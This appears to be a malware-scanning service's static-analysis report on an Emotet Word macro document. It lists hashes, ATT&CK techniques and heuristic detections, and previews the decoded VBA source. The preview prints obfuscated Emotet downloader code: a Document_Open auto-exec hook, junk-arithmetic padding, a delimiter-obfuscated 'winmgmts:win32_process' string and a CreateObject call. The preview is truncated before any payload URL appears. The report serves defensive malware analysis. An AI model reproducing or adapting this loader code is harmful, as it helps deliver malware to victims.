Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f2b3f080c8f08b94…

MALICIOUS

Office (OLE)

221.5 KB Created: 2020-08-26 11:53:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 96bf6d1dc81713de5036adfd57023f5a SHA-1: 8957b83e3e4851e5c0fe8cb57b95fd0ef371ec26 SHA-256: f2b3f080c8f08b947b2b1e9d7d530862807b3cb236bf40ce3cc446c778204ac8
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, and utilizes CreateObject to instantiate objects. Critical heuristics indicate a hidden UserForm command stager, a common technique for Emotet. The ClamAV signature also explicitly identifies it as an Emotet downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12211 bytes
SHA-256: c7f59d170608e6d511e8797a32ac934a707540da0539786adb94f8e0a3c83888
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lvenx3oasyi13"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Zoaes60ntol8thq.X0yzd2pcuqu6rgv7z
End Sub


Attribute VB_Name = "Zoaes60ntol8thq"
Attribute VB_Base = "0{D4D018AF-4702-4D15-82C7-00F247F73CC5}{17F5BCAF-F576-4801-9C81-FB3F2E41C337}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function X0yzd2pcuqu6rgv7z()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Zoaes60ntol8thq.U6kp5b5kzanv3g
AYOZk77j = FQLI24 + 115842212
O11kyl_o08x_ = Osd + 45 + hwb + 55
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Zoaes60ntol8thq.U6kp5b5kzanv3g
AYOZk77j = FQLI24 + 115842212
Sm3d62p_4hvxqxd = ChrW(O11kyl_o08x_ + (nbs + 10 + wbvd + 5))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Zoaes60ntol8thq.U6kp5b5kzanv3g
AYOZk77j = FQLI24 + 115842212
M8_2biwx77r = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Sm3d62p_4hvxqxd + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Zoaes60ntol8thq.U6kp5b5kzanv3g + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Zoaes60ntol8thq.U6kp5b5kzanv3g
AYOZk77j = FQLI24 + 115842212
Jtt_0_j5zk48w4go = E_xqabv70nlkt(M8_2biwx77r)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Zoaes60ntol8thq.U6kp5b5kzanv3g
AYOZk77j = FQLI24 + 115842212
Set Xelc5tzs07v5p5d = CreateObject(Jtt_0_j5zk48w4go)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tD
... (truncated)

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